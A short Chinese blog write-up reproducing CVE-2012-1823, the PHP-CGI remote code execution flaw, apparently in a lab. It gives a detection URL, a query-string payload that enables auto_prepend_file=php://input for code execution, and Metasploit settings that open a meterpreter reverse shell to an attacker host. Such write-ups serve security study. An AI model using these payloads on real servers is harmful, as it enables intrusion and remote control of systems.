CVE-2012-1823复现

PHP-CGI远程代码执行漏洞

这个古老的漏洞,其实就是用户请求的querystring被作为了php-cgi的参数,命令行参数不仅可以通过

#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,还可以通过querystring的方式传入。

 

影响版本

< php-5.3.12php < 5.4.2mod方式、fpm方式不受影响

 

CGI模式下可控命令行参数​​​​​​​

c 指定php.ini文件(PHP的配置文件)的位置n 不要加载php.ini文件d 指定配置项b 启动fastcgi进程s 显示文件源码T 执行指定次该文件h和? 显示帮助

 

漏洞利用

该站点在8080端口,访问即可

在后面加上-s,若返回源码,则说明存在此漏洞

http://ip:8080/index.php/?-s

 

执行代码

这里可以通过使用-d来指定auto_prepend_file制造任意文件包含漏洞,使用burpsuite抓包,然后修改数据包内容。使用“+”代替空格%3d代替“=”​​​​​​​

-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

 

反弹shell

这里我用了Metasploit​​​​​​​

search php_cgiuse exploit/multi/http/php_cgi_arg_injectionset rhosts 目标ipset rport 8080set payload php/meterpreter/reverse_tcpset lhost 攻击ip

配置如下

CVE-2012-1823复现_第1张图片

配置好了之后执行命令开始攻击

CVE-2012-1823复现_第2张图片

 

微信公众号

CVE-2012-1823复现_第3张图片

你可能感兴趣的:(执行代码)